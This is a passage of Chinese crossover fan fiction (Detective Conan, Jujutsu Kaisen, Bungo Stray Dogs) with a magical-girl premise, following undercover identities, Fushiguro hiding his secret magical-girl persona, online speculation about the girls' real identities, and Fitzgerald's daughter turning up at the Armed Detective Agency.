思索片刻后，萩原研二问道：“你们平常要对付的那些个魔女，都很危险吧？那个白色生物是强制你们去对付它们的吧？” “这倒也不是。” 松田阵平叹了口气，说道：“别担心，我不会有什么生命危险的，实在打不过是可以逃走的。” 上次亲眼看见了松代与魔女艰难战斗后，受伤导致身上都是血的样子……萩原研二当然不能放心。 “要不多想点保命的办法吧。你上次用来攻击的枪.械和炸.弹都是用魔法幻化出来的吗？会不会很消耗能量？” 萩原研二边想边说：“要不我自制一些小型的炸.弹武器之类的，防弹衣也很重要，组织里好像也有研究杀伤性更强的炸.弹……” “停……” 松田阵平忍不住打断他。 萩原研二回过神来，发现自己似乎是控制不住越说越刑了。 他扶了一下额头，低声道：“这也是没有办法的办法啊，小阵平你又不可能确保自己一直安然无恙。” “我真的没什么事，你说的这些之后再商量吧。” 松田阵平只能尽量打消萩原的念头：“反正你现在应该没什么机会用组织的那些东西，要是被组织警惕就不好了。” “没错，这些事情就交给我来想办法吧。” 伊江朔久忽然的这一句话，让松田阵平都不知道该说些什么好了。 松田阵平：“……伊江？” 伊江朔久：“开个玩笑而已，组织里的那些科技也没有发展得多好，并不一定能派上用场。” 闻言，松田阵平总算缓了口气。 伊江朔久以退为进，继续道：“不过，之后遇到什么情况，我们都可以互相商量对策，组织的一些人脉条件总是能够帮上忙的。” 松田阵平只得说道：“好吧。你们也要记得，我随时可以帮忙，普通人应该是拿魔法侧没什么办法的。” 萩原研二心情慢慢好多了，也点点头。 “那就约好了，都别再一个人逞强了。” …… 和松田阵平以及萩原研二谈完之后，伊江朔久继续留在了这家咖啡厅里，似乎是要等到关门再离开。 毕竟他是这家店的店长，留下来也算是有充分的理由。 而松田和萩原虽然已经和伊江说开了，但是他们也无法不负责任地暴露自己同期的卧底身份，只能先行离开，准备等之后再想办法和安室透联系。 随着天色越来越晚，店里的人也走得差不多了。 这个时候，榎本梓和安室透都没什么要忙的事情了。 “安室君。” 伊江朔久提高声音喊道。 安室透闻言走了过来，问道：“店长，有什么事吗？” 伊江朔久道：“坐下聊吧，我想请你帮个忙。” 安室透愣了下，想不到对方准备说些什么，但还是顺从地坐在了对方面前的那张椅子上。 他迅速地思考着…… 伊江朔久应该已经知道了，自己是组织派过来接近他的。 那么，伊江朔久应该不会让他留下来吧？是想通过他警告一下组织吗？还是准备怎么威胁他？ 安室透想着想着，总是不自觉地回忆起刚才所看见的、伊江朔久和榎原健一以及一个少女交谈很久的画面。 他方才就很不解。 但是他们三个交谈的声音有故意压低、很明显是不想被人偷听到，而安室透也没理由靠近他们，所以完全不知道他们聊了些什么。 可是，他们三个到底是怎么有话题的？ 安室透感到头疼，这年头的情报工作还真是越来越不好做了。 缺少的情报太多了，导致这一切事情在他看来都显得很不可思议。 “降谷君。” 伊江朔久平静地开口。 而听到这个熟悉的称呼，安室透却一时差点连心脏也停止了跳动，直直地看向对方。 自己暴露了吗？？！ 知道了这个名字，肯定就能够知道自己公安警察的身份。 对方是怎么发现的？通过萩原而知道的吗？那组织目前究竟知不知道这件事呢？…… 安室透尽量保持冷静地问：“你这是什么意思？” “我知道，你既然来调查我，那么至少也应该提前了解过我的一些事情吧。” 伊江朔久轻声道：“关于我和组织的那些事情，我希望你不要告诉松田和萩原。” 第88章 安室透完全搞不懂对方到底在想什么。 为什么伊江朔久在发现自己的身份后，会提出这样匪夷所思的请求？ 他努力整理思路，脑海里却始终还是一团乱麻。 安室透一字一句地问道：“为什么？” “没什么为什么，我不能说。” 伊江朔久停顿了片刻，道：“总之，不管遇到什么情况，我都不会伤害他们的。” 安室透目光一刻也不松懈地关注着对方的表情，像是希望借此判断出对方的真实想法。 呼吸没有变化，眼神没有躲闪，身体动作也依旧自然，伊江朔久此刻丝毫不紧张…… 就好像这真的是一句实话般。 但是怎么可能？ 不管遇到什么情况？……这种话怎么会是真的？？ 根据安室透的情报来看，伊江朔久与松田、萩原最多才认识了短短两三个月，他们之间又能有多好的关系？ 就在这时，安室透回想起了先前琴酒的警告。 果然，琴酒还是有先见之明的，伊江朔久这个人比他想象的还要危险。 此刻伊江朔久掌握着他的卧底身份，应该还取得了松田和萩原的信任……安室透知道自己没办法拒绝对方。 但是，一次的退让只能够换来更多的退让。 要是一味表现出软弱的样子，只会让对方更加肆无忌惮，使得他永远都无法摆脱对方的掌控。 只有适当展露自己拥有鱼死网破的决心，才会让敌人有所忌惮，不会提出太过分的要求。 “我要怎么才能够相信你说的话呢？” 安室透语气里带着锋芒。 “你的事情是打算一直瞒着他们两个人吧？让他们完全不知道你的真面目，这难不成算是对他们好吗？” 伊江朔久沉默了会儿，回道：“你不用相信我说的任何话。” 安室透不解对方话里的意思，问：“所以，你是承认自己说谎了吗？” “……这并不重要，我只是希望你不要多说不该说的事情而已。” 伊江朔久没有要给他解释的意思。 安室透声音微冷：“这算是威胁吗？” 伊江朔久平静地说道：“不，是我的请求。” 安室透：“那我便没有答应的必要吧？” “抱歉。” 伊江朔久像是早就想好了他会做出怎样的表现，直接开口道：“既然无法说服你的话，我就只能请个说客帮忙了。” “说客？”安室透不以为意道：“你请便。” 伊江朔久拿起手机，看了看时间。 “你请的那个说客还在路上吗？要等多久？”安室透单手托着下巴，问道。 伊江朔久放下手机，随口道：“应该差不多到了。” 安室透下意识侧头，透过咖啡厅的玻璃窗，往外面大街上看去。 现在天色已经算是挺晚的了，路灯也亮了许久，他能够很清晰地看见外面并没有什么可疑的人靠近。 然而，就在他还在将视线放在外面时，自己口袋里的手机忽然振动了几下。 安室透下意识地用手触碰手机，又想起伊江朔久刚才的话，于是抬头看向面前的白发青年。 对方露出了一个浅淡的笑意，说道：“接电话吧。” 安室透的脸色却不怎么样。 当他拿起手机，看见来电话的是一个再熟悉不过的人时，他的心情就更糟糕了。 为什么…… 伊江朔久这是把他的好友都一网打尽了吗？ 怎么他先前都没有听说过伊江朔久这个人，等到对方忽然出现在他视野里之后，他才慢慢发现身边的朋友一个两个都和对方扯上了关系？？ 安室透心情难以言说地接通了电话。 电话那头的人似乎提前知道了这边的情况，有些不怎么好意思面对他，所以犹豫了片刻才迟迟开口。 “……zero，抱歉。” 安室透缓了一口气，明白伊江朔久早就知道了很多事情，可能还要比他现在猜测的知道得更多。 他也没必要再做无谓的掩饰了。 不过，安室透还是忍不住先问道：“hiro，你到底是什么时候认识伊江朔久的？” 诸伏景光的声音却放得更低了：“半年多前。” 半年多前？？？！ 安室透默默在心里打出了几个问号，一时觉得自己似乎有点凄凉。 他这么久以来，居然完全都不知道这件事，自己到底还怎么算是一个合格的情报人员？ “所以，你就是他请来的说客。可你为什么会答应帮他？”安室透问道。 “半年多前，我卧底的身份险些暴露，那时候是他帮助了我。” 诸伏景光又道了一句歉：“抱歉，zero，我还欠着他的人情。” 安室透倒是也还记得那次的情况，他当时听组织成员说苏格兰的身份出了问题，便非常着急地去确认情况。 然而，却又很快听说那只是个误会。 后来去问诸伏景光，可是对方也是搪塞过去了，让他难以安心了好久。 安室透无奈道：“……没关系，你没事就好。” 比起别的那些事情，他当然更加在乎诸伏景光的生命安全。 听到这句安慰，诸伏景光也明白安室透算是为此选择了退让。 诸伏景光想了想，忽然开口说了一句：“在半年前，伊江君联系到我的时候，他就已经提前知道了我们的真实情况。” “……我知道了。” 安室透放下手机，目光放回到伊江朔久身上。 现在他更加看不透对方了，可是对方的的确确帮助了诸伏景光，这让他的心情实在有些复杂。 “你能答应我的请求吗？安室君。” 伊江朔久用回了原先的称呼。 安室透在心里无声叹了口气，表面上露出一个无奈的笑容。 “没问题，店长。” 第89章 随着时间的推移，魔法少女的热度没有丝毫减少，反而名气越来越大。 即使这个国家的大多数上层并不愿意看到这样的结果，极力打压这种事情的传播，可也还是对此无能为力。 同时，魔女和使魔的出现也越来越频繁，出现的区域也越来越广泛。 魔法少女内部给彼此划分的负责区域范围也不断增加。 伏黑惠年仅15岁，就体会到了工作繁忙的感觉。 他经常白天上学，偶尔和同学出任务祓除咒灵。晚上或假期，则忙着偷溜出去变身来处理魔女。 所以很难有多余的空闲时间。 而且今时不同往日，他不再是咒术高专一年级的唯一新生。 虎杖悠仁和钉崎野蔷薇在六月份先后入学，和伏黑惠在同一间教室里上学。 伏黑惠的神出鬼没自然难以瞒过这两个同学。 又是一次逃学出去解决完魔女后，伏黑惠疲惫地回到学校，准备回自己的宿舍里歇息。 可刚走在路上，他就被自己的两个同学拦下来了。 钉崎野蔷薇装作一脸严肃地打量着他，问道：“伏黑，你这是背着我们又去哪里了？怎么刚回来？” 虎杖悠仁也配合地道：“是啊，你去哪里了？快从实招来。” 伏黑惠只想敷衍过去：“我回家了一趟而已。” “谁信啊，你这可不是第一天逃学了！” 钉崎野蔷薇双手叉腰，气势很足地说：“再不说真话的话，我们就不帮你遮掩了，到时候让老师校长找你谈吧。” 虎杖悠仁在一旁努力缓和气氛：“其实……伏黑，钉崎她也是担心你。你这些天看起来确实不对劲，要是以这样的状态去面对咒灵的话，可能会很容易出事的。” 伏黑惠有点头疼。 他清楚钉崎和虎杖对自己的关心，当然也有考虑过自己精神状态可能跟不上的事情。 不过前些时间，朔夜刚教过他可以用魔法恢复自身状态。 据说只要有着信念，能够好好运用魔法，魔法少女甚至可以做到不需要吃饭、睡觉…… 那种程度听起来有点太夸张了。 他还是只希望尽快练习，能够做到让自己经常熬夜长时间工作仍能保持良好状态就行了。 但不管怎么说，这些事情都不好告诉自己的两位同学，解释起来可是绝对会社死的。 “……” 伏黑惠就这么沉默了半晌。 他也希望自己能像之前那样，迅速编出合适的借口来。 但是他已经找各种理由旷课了好多次了，今后估计也改善不了多少，哪有那么方便的借口能让他一直用啊。 钉崎野蔷薇性子本来就有点急，看着伏黑惠一副似乎不愿意坦白的样子，就更急了。 “到底有什么不能说的啊，我们又不会害你，你不说出来我们怎么能够帮你？” 她伸出双手恐吓道：“你还不说？再不说我可就要搜身了！” 钉崎野蔷薇早就注意到，伏黑惠正提着一个手提袋，袋子并不小，里面还明显装着不少东西。 果然，她发觉的是重点。 伏黑惠闻言，便下意识将手提袋往身后藏了一下。 虽然他很快就想到这样做太显眼了，手的动作有些僵硬，但是已经来不及了。 “这里面就是你的秘密吗？你到底偷偷摸摸带了什么东西？”钉崎野蔷薇立刻忍不住出声问道。 虎杖悠仁也向那个袋子投去好奇的目光。 “没、没什么……” 伏黑惠有点干巴巴地说着，此刻他的言语格外无力。 钉崎野蔷薇不太理解他的反应。 袋子里会是什么东西，才能让往常沉着冷静的伏黑惠表现出这种反应？ 这简直更令人感到好奇了。 钉崎野蔷薇往前踏了一步，犹豫地开口：“你……” 伏黑惠则被她向前的动作惊了一下，本能地往后退步，想将袋子藏在自己身后，不被别人看到里面的东西。 可是，人总是在越不想出错的时候出错。 伏黑惠忽视了自己如今的力量在逐步增强，而这个袋子质量又不怎么好。 他一直紧紧地抓着袋子，过于用力了，使得在这种关键时刻，手提袋的带子突然断裂…… “啪啦——” 袋子掉落在地，里面的衣物也散落出来。 完了…… 伏黑惠在心里平静地绝望着。 钉崎和虎杖也都有些诧异。 因为，虽然这袋子里的衣物不是什么裙子，也没有什么花里胡哨的颜色。 可是它从尺码和样式来看，明显就是一件女装，即使稍微偏中性一些，也能从一些小设计上看出这不会是男装。 钉崎野蔷薇愣愣地看了看这衣服，再抬头看向伏黑惠，开口道：“伏黑你难不成……” “……我没有偷偷穿女装！” 伏黑惠下意识地为自己开脱道。 但其实他确实穿过，甚至都在十次以上了…… 除了变身后自动上身的那套华丽衣裙之外，他为了方便以禅院穗的身份出去而不被路人发现，还偷偷买了几套偏中性的女装。 “额……” 钉崎野蔷薇的表情也有点尴尬，她听完伏黑惠的话后沉默了好几秒，才继续说完了自己刚才未完的话。 “我其实是想问，伏黑你难不成是有女朋友了……” 伏黑惠的表情十分僵硬：“……” 钉崎野蔷薇结结巴巴地说：“我、我还以为你谈恋爱了，因为不是都说吗……那个，谈恋爱容易让人浪费时间。” 伏黑惠仍旧可疑地沉默着。 这个黑发少年浑身弥漫着淡淡的绝望感，看起来仿佛快要碎了。 钉崎野蔷薇慌乱地安慰道：“这种……不管是爱好，还是别的什么认知方面的事情，我都很尊重。你不用担心，没人会嘲笑这个的，真的。” “……” 伏黑惠实在听不下去了，终于艰难出声：“……你能当作没看见吗？” 钉崎野蔷薇连忙点点头：“嗯嗯，我刚才没看见，完全什么都没有看见！……” 说着说着，钉崎野蔷薇挪开了视线，不自然地看向天空，满嘴胡说八道。 “啊，今天天气真好，真适合出来散步啊……哈哈没错我就只是出来散步的而已……” 短发少女边说边往旁边走去，脚步随之逐渐加快。 没过多久，她便不见了身影，原地只剩下了两个男同学。 伏黑惠默默看向虎杖悠仁。 “那个……我知道的。” 虎杖悠仁不好意思地说：“伏黑，你是为了帮忙瞒住禅院穗的踪迹，才故意这么说的吧。你这些天这么忙碌，也是因为不放心禅院她一个人处理魔女吗？” “……？？？” 伏黑惠沉默。 不知道该怎么说话了，但是虎杖这猜得听起来还挺有道理的。 伏黑惠事到如今也只得点头应下：“……你说的都对。” 然而就在此刻，一个意料之外的女声忽然从旁边响起。 “禅院穗？” 伏黑惠立即侧头望去，发现高专二年级的学姐禅院真希似乎是从那里路过，就这么意外地听到了关键词。 他真的就这么倒霉吗？？！ 伏黑惠难以置信。 但是禅院真希的确听清了他们刚才的那两句话，继续出声道：“惠，你认识禅院穗？” 她有点惊讶。 自从上次在寺庙里被禅院穗和津岛救了之后，禅院真希就总是记挂着禅院穗那个人，想要搜寻有关那位魔法少女的蛛丝马迹，却一直没什么线索。 没想到，伏黑惠居然听起来和禅院穗关系匪浅。 不过，伏黑惠之前也算是禅院家的，禅院穗也姓禅院，两个人能够认识应该也是比较合理的。 禅院真希之前还不确定，禅院穗到底是不是禅院家的，但是如果伏黑惠认识她的话，那么禅院穗大概就是出自禅院家没错了。 禅院真希不由得问道：“你有她的联系方式吗？” 伏黑惠不知道该怎么回答。 他在创建禅院穗的那个新的社交账号时，完全没想过这个账号加的人会越来越多。 “……这个……” “我不是想打扰她。” 不过，禅院真希却说道：“只是希望你能够提醒她，注意不要暴露身份和踪迹。” “禅院那个垃圾家族已经注意到她了，如果知道她真的是出自禅院家的，那么他们绝对会为了利益不择手段地纠缠她的。” 禅院真希毫不留情地骂着自己的家族。 伏黑惠：“……？！” 禅院穗是出自禅院家的？？？ 虽然实际上，他的父亲确实是出自禅院家的，这么说起来也没错。 但是他在编造禅院穗这个身份的时候，完全没有想过有这个设定，为什么其他人都在不断给禅院穗加设定啊？！ 谁能想到禅院穗本来只是他随口编造的，准备用一次就丢的身份啊？！！ 第90章 伏黑惠怀疑人生地艰难问道：“禅院家注意到她了？” “是啊。” 禅院真希想到这个心情就不怎么样，说道：“连我这种半脱离禅院家这么久的人，都能听到这件事。所以很明显，禅院家想要找到她而弄出了很大的动静。” “他们还真是令人恶心，瞧不起非禅院家的人，更瞧不起非术师者和女性。骄傲自大、固执己见。” “明明还不确定禅院穗是否只是碰巧同姓的外人，就开始大张声势地找人，觉得这种出色的后辈大概率只会是自家的人。” “可心底里却又看不起她，找人只是因为她的实力和影响力，或许还可能将她出卖给其他人交换利益……” 这种事引发了禅院真希心底一直压抑着的怨气，使得她忍不住说了好长一通。 在一旁听着的虎杖悠仁也逐渐忧心起来，明白了禅院穗的处境似乎不太妙。 虎杖悠仁出声道：“这么说，我近期好像也在网上看到，有很多人发起了线下寻找魔法少女的活动。” 伏黑惠倒是也对这种活动有点印象，他先前也在魔法少女网站上见到过很多讨论的帖子。 不过…… “这种活动的帖子不是都被删除了吗？不是禁止侵犯魔法少女的隐私吗？” 伏黑惠当时看到那种帖子很快兴起，但是没过多久，那些言论就全部都被封了。 显然，那个魔法少女网站是有管理员在实时注意用户情况的。 禅院真希解释道：“最火的那个魔法少女网站确实是禁止这种事情的，但是其他的一些网站和论坛不会专门去处理这些的，毕竟魔法少女们至今也没有接受官方的招揽。” 伏黑惠默了默，沉声道：“我知道了，我会提醒她小心的。” 禅院真希不放心地道：“如果情况不太好的话，可以来告诉我，我一定会想办法努力帮忙的。” “我也是。” 虎杖悠仁也连忙出声道。 伏黑惠只能替禅院穗感谢了他们的好意。 不过，虽然这些事情听起来是挺令人糟心的。 但是，伏黑惠静下来一想，觉得自己应该不会有太大的危险。 无论是禅院家，还是那些对此感兴趣的民众……都只会把目光集中在适龄的、外貌与魔法少女相似的女孩子们身上。 谁能猜到禅院穗其实是个男性呢？ 这么说起来，伏黑惠发觉，其他魔法少女可能要更危险些。 那几个魔法少女的身份他也不太清楚，不确定她们究竟样貌如何、年龄如何、性别如何……但至少也相处了一段时间，他能够判断出来津岛大概率是女孩子没错。 按理来说，伏黑惠是应该为同伴们担心的。 可是她们魔法少女内部也不是那么团结，互相之间都比较防备，这样也很难让她们培养起多少感情来。 伏黑惠不禁也产生了点好奇心，想要知道有没有人发掘出其他魔法少女的身份。 于是，他上网找了找，进到了一个热度很高的相关帖子里。 刚进入这个帖子，他便见到了放在首楼的一张少女的照片。 这张照片…… 伏黑惠有点恍惚。 好熟悉，真的好像那个人啊。 灿烂明媚的金色长发，蔚蓝的眼瞳，服饰虽然款式比较简单，却能看出材质极好价格绝对不便宜…… 这些都与艾尔菲很相似，她们都是那种看着就不差钱的人。 最重要的是，她们的样貌真的有很明显的相似之处。 虽然两者的面部不是一模一样，还有许多细微差别，但看着也实在像是亲姐妹…… 难不成艾尔菲的真实身份真的被发觉了？ 伏黑惠缓过神来，赶紧看这帖子里的人都在讨论些什么。 首先，看到把这张照片放上来的楼主在说： 【[图片] 我好像看到非变身状态的魔法少女艾尔菲了！这是我在街头意外拍到的，大家看看是不是她？】 其他人显然也很惊讶于这张照片里的少女。 【啊？？！居然是真的艾尔菲？】 【常服也好好看啊，快说！在哪里遇见的？！我也要去创造偶遇！】 楼主回道：【在横滨哦，她当时还提着行李箱，好像是刚来这里的。要不是我当时看着照片晃神了好久，回过神她便不见了，否则就能上去跟她搭话了，好可惜呜呜呜……】 【懂了，连夜搬家到横滨ing】 横滨…… 伏黑惠陷入沉思。 他之前似乎听津岛提起过，艾尔菲如今待在横滨的时间比较多。 不会这真的就是艾尔菲吧？ 【不对吧，根据我十年菲推的经验来看，这不是艾尔菲啊，她们的脸型、眉眼处有不少差别的，而且艾尔菲颈部没有那颗小痣！】 【确实……可能只是长得像的人吧，这个世界上的人这么多，有几个和魔法少女相似的很正常。】 【但或许是，魔法少女变身前后的样貌可能会有一些改变？所以这个人其实就是艾尔菲也说不定？？】 【也太能想了吧，就非要证明她就是艾尔菲吗。】 【我觉得确实很有这个可能啊。你们想想，魔法少女们现在这么火，但是她们的真实身份至今却还没被挖掘出来。要是她们变身前后样貌没什么差别的话，怎么可能一直没人找到线索。】 【是啊，除非她们是凭空变出来的，或是之前没有任何人际交往。但这怎么可能？】 【那这么说，所有和魔法少女有点像的女孩子，都有可能会是变身之前的她们？？！】 伏黑惠越看越觉得不安。 这些网友猜得还挺准的…… 就是他们还不够大胆，魔法少女变身前后不仅是样貌会有所差别，甚至性别都可能不太一样。 不过……如果津岛、艾尔菲、朔夜她们都的确是女生的话，不会真的只有自己一个是特殊的男性魔法少女吧？ 这种事情他早就担忧很久了。 如今倒也是更坚定了几分绝对不能掉马的想法，他便很快努力平复心情，继续看下去。 【范围可真大啊，这该怎么找人？】 【等等——我知道这个人！照片里的这个女生应该是叫……斯科蒂？！】 【啊？这么巧？不是在开玩笑吧？】 【当然不是！！！我小时候跟她做过一年同学，当时还是在美国，后来就听说她出国留学了。但是我记得她留学的地方不是在日本啊？还是说，她现在又改来日本留学了？】 【外国人啊，那应该更不可能是魔法少女了。】 【也是，现在就只听说日本有魔法少女和魔女使魔的存在。】 【开什么玩笑呢，艾尔菲这个名字不是一听就是外国名吗？所以我觉得她是艾尔菲的可能性很大啊。】【你现在阅读的是 】 90-100 第91章 这个帖子针对照片里那个叫斯科蒂的少女，不停地讨论争执了许久，接着还有不少人开始扒那少女的个人信息。 伏黑惠皱着眉头看了一会儿。 那些人扒出了斯科蒂的身份和过去的大致经历…… 好在他们没过多久也就弄清楚了，斯科蒂是这两天刚来到横滨的，之前她都一直在别的国家。 有着充足的证据，能够证明她没办法同时出现在距离这么远的两个国家，根本不可能是魔法少女。 那些人也便失落地放弃了对她的探究。 紧接着，又有其他人提到：【话说，我还见过和朔夜长得很像的人呢。同样是比较罕见的白发青瞳哦，不过那个人的性格似乎比较开朗好相处。】 【……？楼上仔细说说。】 【长得有多像？无图无证据，给我看看~】 【是我现在一高中同学的姐姐，不过比我那个同学的姐姐比他的年龄要大上许多，看起来好像是二十五六岁了。】 【那个……魔法少女变身前后的年龄是否可能也会有点小小的改变呢？】 【你们简直越猜越离谱了。】 【对啊，不都是中学生拯救世界吗？魔法少女这种职业怎么可能与已经工作的成年人挂钩？】 【可恶，都歧视成年人吗？（哭）】 【一会儿说变身前后样貌可能有差别，一会儿又说年龄也可能有差别，别太离谱了好吗？你们怎么不说性别也可能有差别啊。】 【是啊，这种怎么想都不可能是魔法少女的人，以后还是别提了。】 【其实说起来，我先前在饭店里应该是见过禅院穗，常服版的，样貌和年龄跟变身后似乎都没什么差别。不过我有点记不清了。】 【楼上检查一下网速吧。】 【早就有人爆料意外见过穿常服的禅院穗了，可是又有什么用呢，没人找到她除魔法少女身份外的其他信息。】 【难不成她们真的是凭空冒出来的？】 【如果说是从异世界穿越过来的……倒也不是不可能。毕竟之前从来没有听说魔法少女这种存在。】 看着这些讨论，伏黑惠的心情犹如在坐过山车，一会儿上一会儿下的。 不过幸好，他们并没有讨论出什么结果。 从这一方面来说，男性变身后成为魔法少女这种设定居然还是有点用的。 不仅是他觉得离谱，连其他人也觉得离谱……这么一来，没想到刚好使得别人很难猜出禅院穗的真实身份。 伏黑惠看到后面算是缓了一口气。 但也有点奇怪，其他魔法少女是怎么避免被发觉身份的？是她们变身前后的样貌和年龄会有所不同吗？ 而另一边的横滨，菲茨杰拉德也注意到了网上的情况。 他还没来得及担心自己的身份问题，就先看到了在网上一定范围内传播的那张和艾尔菲很像的照片。 菲茨杰拉德立刻紧张起来，探究了一下照片的源头，再调查了些相关信息。 真是的……斯科蒂她怎么来横滨了？ 她现在不应该是待在他们美国的家里吗？？ 菲茨杰拉德不理解地马上拨通了女儿的电话：“喂，斯科蒂。” 女儿的电话接得很慢，接了之后也是半晌才慢吞吞地道：“……怎么了？爸爸。” 菲茨杰拉德皱眉问道：“你现在在哪里？” “我、现在这个时间肯定是待在家里啦，这边的天还没有亮呢……”斯科蒂稍微有点不自然地说着。 不过她还没有说完，菲茨杰拉德就又听见电话那头传来了一个男声：“别说了，你爸爸肯定是看到网上的消息了，你瞒不过他的。” 这句话一出，斯科蒂便尴尬地没了声音。 菲茨杰拉德则更生气了：“你身边那个人是谁？你到底在哪里？跟谁待在一起？！！” 在菲茨杰拉德的记忆里，女儿的年龄还很小。 纵然斯科蒂死而复生后，就像是这些年一直好好活着般，如今已经长大了许多。但他还是觉得她还像当初的那个小女孩。 “爸爸，你别担心，我现在很好。”斯科蒂连忙说道。 菲茨杰拉德：“你叫我怎么能够放心？你怎么就一个人跑来横滨了，知道有多危险吗？你都不和我提前说一声！” 斯科蒂声音低落：“可是，我要是跟你说的话，你肯定不会同意我过来的。” 菲茨杰拉德心累地问：“你为什么一定要来横滨？” “我也想问，为什么爸爸一定要待在横滨？” 斯科蒂有点委屈地道：“好不容易我提前结束了在欧洲的学业，想着能够回到美国和家人都待在一起。你明明也答应了的，说我们一家人可以生活在一起的。可是为什么你现在却非要留在这里？” 菲茨杰拉德哑然。 他有迫不得已的原因，但是却没有办法告诉对方。 斯科蒂继续控诉道：“你也就只是当时来机场接了我，然后在家里没待几天就走了。你不是说，不管是什么都没有我和妈妈重要吗？” “我……”菲茨杰拉德想说些什么，却又无力地止住了话，只是道：“抱歉，斯科蒂。” 斯科蒂听见父亲这样的话，也不由得心软了。 “我知道的，你肯定有自己的苦衷。可是我和妈妈都很担心你，你为什么不把苦衷说出来呢？我们都很想帮助你的。” 可是，菲茨杰拉德难以开口。 他该怎么说？ 说斯科蒂你其实已经死过一次了，说你知道为了让你复活，他曾经做了多少违法犯罪的事情吗？ 还是说他跟别的生物做了交易，为了留住如今一家人都平平安安的幸福，不得不留在横滨对付魔女吗？ 要是让女儿和妻子知道这些事情，她们肯定是无法接受的。 菲茨杰拉德：“……我能解决自己的事情的，解决完了就会回去的，你不要管这些事。” 斯科蒂没有被他糊弄过去：“你需要多长时间？” 菲茨杰拉德：“……不确定。” 斯科蒂：“那么，等到你解决完自己的事情之后，我再跟你一起回去。现在我就先待在横滨了。” “那怎么可以？！” 菲茨杰拉德当然不能同意这种事。 他知道横滨、尤其是他的身边到底有多么危险，怎么可能放心让自己在意的家人处于危险之中。 更何况，他根本不确定自己得留在日本多久。他先前说的话只是安慰女儿的推辞而已。 斯科蒂故意说道：“别担心，我不会给你添麻烦的，我会自己找到住的地方的。” 菲茨杰拉德肯定不能放心，尤其是斯科蒂如今的照片都传到网上去了。 “你到底在横滨的哪里？快说，你知道自己现在有多么危险吗？” 电话那头，斯科蒂犹豫了下，最终还是说了：“武装侦探社。” 菲茨杰拉德：“……？？？” 第92章 菲茨杰拉德怀疑自己的听力可能出现了什么问题。 “斯科蒂，你说……你在哪里？” 斯科蒂不太理解父亲的反应，迟疑地重复了一遍：“武装侦探社。怎么了？这里的人都挺好的啊，我在这里很安全的。” 菲茨杰拉德表情有点僵硬。 他回忆了一下，自己当初刚来到横滨时干过的那些事情。 包括但不限于—— 很嚣张地来到侦探社想要收购他们的异能开业许可证，被拒绝后就让属下给他们一些下马威，决定消灭武装侦探社和港口黑手党，之后更是成功绑架过侦探社社员中岛敦，甚至策划过毁掉整个横滨的计划…… 菲茨杰拉德越想越慌。 他当时干过那么多不择手段的事情，和武装侦探社的关系都弄得这么糟糕了，自己的女儿待在那里真的安全吗？？！ 菲茨杰拉德严肃沉声道：“斯科蒂，你等着，我马上就来接你。” 斯科蒂愣了愣：“也不用特别着急……我在这里又不会出什么事。” 菲茨杰拉德没办法解释。 他怎么能跟女儿承认自己是一个坏人呢，那些事情他永远都不会告诉家人的。 他只能咬牙道：“我马上就到！” 结束了与父亲的通话，斯科蒂呆呆地放下手机，叹了一口气。 “我爸爸真是越来越奇怪了。好久没见他，我发现我现在都总是搞不懂他在想什么了。” 一旁的太宰治随口宽慰道：“父亲大了是这样的，总有自己的秘密。作为子女要担心的事情可就多了，真不容易呐。” 斯科蒂：“？？?” 虽然感觉这话有点奇怪，但她还是勉强露出了礼貌的微笑。 “话说，听说我父亲已经在横滨待了好几个月了，他平常行动比较高调。请问侦探社的大家知道他这段时间的一些经历吗？” 中岛敦根本不太敢跟她对上视线。 毕竟前段时间他才和她父亲打过架，互相往死里打的那种程度…… 侦探社的其他人也大多表情有些复杂。 斯科蒂察觉气氛似乎有点不太对劲，疑惑地左右看了看。 太宰治慢吞吞地开口：“他在横滨应该算是在发展名为组合的异能者集团，最近网上很火的魔法少女艾尔菲也在帮他的忙呢。” “艾尔菲？” 斯科蒂本来是没怎么关注魔法少女的事情，之前只是听说过而已。 但当她来到横滨，被人意外拍照传到网上后……因为都在说她和艾尔菲长得像，所以给她在现实中造成了一定麻烦。 斯科蒂便被迫去了解了下艾尔菲，发现她确实跟艾尔菲在一些方面很是相似。 她本来觉得这只是巧合而已。 可是……“为什么艾尔菲会帮我爸爸的忙？他们是怎么认识的？” 斯科蒂有点难以冷静了。 她的父亲背井离乡来到横滨，不让作为女儿的她留下来，但是他身边却留下了一个陌生的少女。 而那个少女还和自己长得这么像！！！ 这真的只是巧合而已吗？？！ “不知道，不过艾尔菲自从出现在大众视野下后，就算是和组合半绑定了。” 太宰治煽风点火地道：“敦君可以证明哦。” 中岛敦感觉太宰治这话怪怪的，但还是被迫应下：“额，也、也算是吧。” 这听起来，让人更觉得菲茨杰拉德和艾尔菲关系匪浅了。 斯科蒂咬着牙，手紧紧地攥成拳，努力平复自己的心情。 冷静、冷静…… 可能只是因为艾尔菲的能力很强，所以爸爸才与她合作的。不告诉自己，只是因为怕自己产生误会。 毕竟艾尔菲碰巧和自己长得这么像，爸爸怕自己会误会生气。 反正艾尔菲也绝对不可能是父亲的私生女什么的，父亲也不可能会将她作为自己的代餐的……绝对不可能！ 斯科蒂努力安慰着自己。 但是这种事情确实是很容易让人越想越气。 尤其是菲茨杰拉德赶来侦探社的速度的确够快，斯科蒂的情绪还没缓和下来，他就已经打开了侦探社的门。 菲茨杰拉德看见自家女儿好端端的待在这里，没有出现他想象中的糟糕场景，终于算是松了一口气。 幸好，看来侦探社的人都还算是好人，没有拿他的女儿来报复他的想法。 想起之前自己的行为，菲茨杰拉德难得生起了一丝愧疚之情，不再像当初第一次来到侦探社时那么嚣张了。 “打扰了。” 他先说了这么一句，然后想要上前带走斯科蒂。 可是这个时候，斯科蒂却不怎么配合，直接后退一步问道：“爸爸，艾尔菲是谁？” 菲茨杰拉德吃了一惊，眼神下意识有些飘忽：“……你问这个干什么？” 斯科蒂看他这个反应，心情变得更加糟糕。 “我都知道了！” 菲茨杰拉德：“？？！” 这一刻，菲茨杰拉德脑海里闪过了无数画面，大多是他掉马后在所有人面前社死的恐怖绘卷。 好在，斯科蒂很快继续说道：“你不让我留在横滨，就是因为担心我知道你将艾尔菲留在身边吧？你和艾尔菲到底是什么关系？！” 菲茨杰拉德听见对方不是揭穿自己的身份，先是把提起的心放了一点。 但是却又有点懵。 自家女儿这是在说什么呢？ 菲茨杰拉德立刻回道：“当然不是，横滨这里很危险，我不放心你的安全。” 斯科蒂到嘴边的话卡了下壳，道：“我……我哪里会有事，怎么说得跟横滨有什么洪水猛兽一样。美国那边不也一样，安全程度都差不多嘛。” 就在她话音刚刚落下的时候，突然…… “轰隆——” 